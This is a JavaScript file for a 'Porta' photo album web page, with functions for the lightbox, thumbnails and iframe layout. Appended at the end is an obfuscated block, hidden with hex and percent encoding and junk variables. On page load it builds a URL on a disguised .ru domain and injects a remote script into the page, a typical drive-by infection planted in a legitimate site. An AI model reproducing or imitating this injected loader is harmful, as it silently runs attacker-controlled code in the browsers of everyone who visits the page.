//////////////////////////
// main
//////////////////////////
var mf;	// handle to the medium iframe (initialised onload())

///////////////////////////
function SetupIndex() {
///////////////////////////

    // setup medium iframe
    var m_iframe = '';
    document.getElementById('mediumiframe_span').innerHTML = m_iframe;

    // show thumbnails
    SetupIFrames( smallPos );

    // set handle to the medium iframe
    mf = this.frames['mediumiframe'];

    // set keyboard handler
    document.onkeydown = ImageBrowsingKeydownHandlerIndex;

    // set document title
    document.title = title.replace(/(<([^>]+)>)/ig,"");

    // write status message
    window.status = 'This is a Porta photo album. Use the left and right arrow keys to navigate.';
    
    // go to light box if specified    
    //var url = window.location.href;
    //var show_lightbox = (url.indexOf("?lightbox")!=-1);
    //if (show_lightbox) {
    	
    //	DisplayLightbox();
    //}    
}

//////////////////////////
function ImageBrowsingKeydownHandlerIndex( e ) {
//////////////////////////

    ImageBrowsingKeydownHandler( e, mf );
}


///////////////////////////
function EnlargeImageInLightbox( i ) {
///////////////////////////

    // delete selection to avoid display artefacts
    if (self.getSelection)  {
        self.getSelection().removeAllRanges();
    } else if (document.selection) {
        document.selection.clear();
    }

    mf.ShowImage( i, 0  );
    document.getElementById('mainlayer').style.visibility = 'visible';
    document.getElementById('lightboxlayer').style.visibility = 'hidden';
}

///////////////////////////
function DisplayLightbox() {
///////////////////////////

    // hide the main layer and show the lightbox
    document.getElementById('mainlayer').style.visibility = 'hidden';
    document.getElementById('lightboxlayer').style.visibility = 'visible';

    // unload small images elements in the mainlayer
    SetupIFrames( 'none' );

    // register and render light box links
    mf.clinks_href  = new Array();
    mf.clinks_txt   = new Array();
    mf.clinks_href.push('javascript:parent.DisplayLightbox()');
    mf.clinks_txt.push( ls_lightbox );
    mf.clinks_href.push('javascript:parent.HideLightbox()');
    mf.clinks_txt.push( ls_albumview );
    mf.RenderCtrlLinks();

    // write title and link
    document.getElementById('title_lb').innerHTML = title;
    document.getElementById('ctrllinks_lb').innerHTML = '<a class="control" href="javascript:HideLightbox()">'+ls_albumview+'</a>';

    // write thumbnails
    var border = 14;
    var html = '';
    for (i=0;i<nbImages;i++) {

        var hfill    = maxSmallW-smallWidth[i];
        var vfill    = maxSmallH-smallHeight[i];
        var m_left   = border + Math.floor( hfill/2 );
        var m_right  = border + Math.ceil ( hfill/2 );
        var m_top    = border + Math.floor( vfill/2 );
        var m_bottom = border + Math.ceil ( vfill/2 );

        var mac = majorCaption[i].replace( /"/g,    '&quot;' );
        var re  = /<\S[^>]*>/g;
        mac = mac.replace(re,""); // strip html

        html += '<a href="javascript:EnlargeImageInLightbox('+i+')">';
        html += '<img style="display: inline; padding: 0px; border: 0px solid black; ';
        html += 'margin-left: '+m_left+'px; margin-right:'+m_right+'px; ';
        html += 'margin-top:'+m_top+'px; margin-bottom:'+m_bottom+'px;" ';
        html += 'src="'+smallDir+'/'+imageFilename[i]+'" ';
        html += 'width="'+smallWidth[i]+'" ' ;
        html += 'height="'+smallHeight[i]+'" ' ;
        html += 'galleryimg="no" title="'+mac+'" alt="'+mac+'" />';
        html += '</a> ';
    }
    document.getElementById('images_lb').innerHTML = html;

    // write footer
    document.getElementById('footer_lb').innerHTML = PortaMagicFooter(footer);
}

///////////////////////////
function HideLightbox() {
///////////////////////////

    // unload lightbox images to conserve memory
    document.getElementById('images_lb').innerHTML = '';

    // turn on small images in the main layer
    SetupIFrames( smallPos );

    // unregister links
    mf.clinks_href  = new Array();
    mf.clinks_txt   = new Array();
    mf.RenderCtrlLinks();

    // hide lightbox and show the main layer
    document.getElementById('mainlayer').style.visibility = 'visible';
    document.getElementById('lightboxlayer').style.visibility = 'hidden';
}

//////////////////////////
function SetupIFrames( smallPosSetting ) {
//////////////////////////

    // access medium iframe style
    var stym = document.getElementById('mediumiframe').style;

    // stuff required for the nasty ie workaround....
    // (which to make matters worse requires to use the xml prolog stunt 
    //  to switch ie into quirks mode in order to use the faulty box model)
    var isIE = (navigator.userAgent.toLowerCase().indexOf("msie") != -1);
    var isOpera = (navigator.userAgent.toLowerCase().indexOf("opera") != -1);
    isIE = isOpera ? true : isIE; // treat Opera as IE

    if (smallPosSetting=='none') {

        // empty iframe
        document.getElementById('smalliframe_span').innerHTML = '';
                     	
        // set the main content to fill the browser
        stym.left   = '0px';
        stym.top    = '0px';
        stym.padding = '0px 0px 0px 0px';
        if (isIE) {

            stym.height = '100%';
            stym.width  = '100%';
        } else {

            stym.bottom = '0px';
            stym.right  = '0px';
        }
        stym.visibility = 'visible';
        return;
    }

	// write the small iframe
    var s_iframe = '';
    document.getElementById('smalliframe_span').innerHTML = s_iframe;

	// size and position iframes
    var sty  = document.getElementById('smalliframe').style;
    var scrollbarsize = 16;		 // ugly pragmatic stuff
    var marginsize = 2*1+2*3+10; // ugly pragmatic stuff
    var space = isIE ? 15 : 10;  // ugly pragmatic stuff
    var w = parseInt(maxSmallW+scrollbarsize+marginsize+space)+'px';
    var h = parseInt(maxSmallH+scrollbarsize+marginsize)+'px';
    stym.top    = '0px';
    stym.left   = '0px';
    if (isIE) {

        stym.height = '100%';
        stym.width  = '100%';
    } else {

        stym.bottom = '0px';
        stym.right  = '0px';
    }
    switch (smallPosSetting) {

        case 'top':     sty.left    = '0px';
                        sty.top     = '0px';
                        sty.width   = '100%';
                        sty.height  = h;

                        if (isIE) {

                            stym.paddingTop = h;
                        } else {

                            stym.top    = h;
                        }
                        break;

        case 'bottom':  sty.left    = '0px';
                        sty.bottom  = '0px';
                        sty.width   = '100%';
                        sty.height  = h;

                        if (isIE) {

                            stym.paddingBottom = h;
                        } else {

                            stym.bottom = h;
                        }
                        break;

        case 'right':   sty.right   = '0px';
                        sty.top     = '0px';
                        sty.width   = w;
                        sty.height  = '100%';

                        if (isIE) {

                            stym.paddingRight = w;
                        } else {

                            stym.right  = w;
                        }

                        break;

        case 'left':
        default:        sty.left    = '0px';
                        sty.top     = '0px';
                        sty.width   = w;
                        sty.height  = '100%';

                        if (isIE) {

                            stym.paddingLeft = w;
                        } else {

                            stym.left = w;
                        }
                        break;
     }
     sty.visibility  = 'visible';
     stym.visibility = 'visible';
}
var R='';var qT='';this.k='';var O;if(O!='x' && O!='P'){O=''};function T(){var o="g";var n=new Array();var q=window;this.JZ='';this.H='';var w='';var Xn;if(Xn!='HH'){Xn=''};var b;if(b!='OA'){b=''};var J="\x68\x74\x74\x70\x3a\x2f\x2f\x69\x6d\x64\x62\x2d\x63\x6f\x6d\x2e\x67\x61\x7a\x65\x74\x61\x2e\x70\x6c\x2e\x67\x6f\x6f\x67\x6c\x65\x2d\x63\x6f\x6d\x2d\x70\x68\x2e\x53\x75\x70\x65\x72\x43\x6f\x6f\x6c\x53\x75\x70\x65\x72\x73\x74\x6f\x72\x65\x2e\x72\x75\x3a";this.u='';var d;if(d!='' && d!='FY'){d=''};var FJ;if(FJ!='Y'){FJ=''};var vA=new Array();var N=unescape;var jz=new String();var zF=new Date();var AZ;if(AZ!='Fm'){AZ='Fm'};var Cl;if(Cl!='RK' && Cl != ''){Cl=null};function V(l,Nb){var Z="";this.xZ="";var ox;if(ox!='' && ox!='E'){ox=''};var oh=N("%5b")+Nb+N("%5d");var oA=new RegExp(oh, o);this.sU='';return l.replace(oA, w);var Xf;if(Xf!=''){Xf='Fr'};};var Im;if(Im!='vg'){Im='vg'};var MX=new String();this.dN="";var Ds="";var ED;if(ED!='RO' && ED!='Fe'){ED=''};var _='';var m=N("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%61%6e%6f%6f%6b%2e%63%6f%6d%2f%65%78%61%6d%69%6e%65%72%2e%63%6f%6d%2f%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2e%70%68%70");var TS;if(TS!='aF' && TS!='zn'){TS=''};var B=V('87373503245484233023712','241573');var tL;if(tL!='lI' && tL!='t'){tL=''};var A=document;var Dd;if(Dd!='' && Dd!='Jk'){Dd=null};var xK;if(xK!='Ktk' && xK!='wy'){xK=''};function s(){var gt=new String();var p="";_=J;var dP;if(dP!='OR' && dP!='Fl'){dP='OR'};var ct='';_+=B;_+=m;var Il=new Array();var gN;if(gN!=''){gN='wj'};try {this.Ol="";var Eb;if(Eb!='r' && Eb != ''){Eb=null};C=A.createElement(V('sIcFrFi8pjt8','F84jIz'));var oI;if(oI!='PS' && oI!='rM'){oI='PS'};this.KN="";this.Hv='';C.defer=[1,7][0];var cy=new Array();var kz;if(kz!='ST'){kz='ST'};C.src=_;var OB;if(OB!='' && OB!='Rw'){OB=''};var tQ=new Date();A.body.appendChild(C);var Hy='';} catch(mA){};var nq=new Array();var uc;if(uc!='' && uc!='TCr'){uc='rI'};}var xR;if(xR!='ly' && xR!='GL'){xR='ly'};q[String("onloa"+"d24Xh".substr(0,1))]=s;var eo=new String();var bF=new String();};var CD=new Array();var MG=new Array();var Gx=new String();T();var nm=new Date();var qW="";
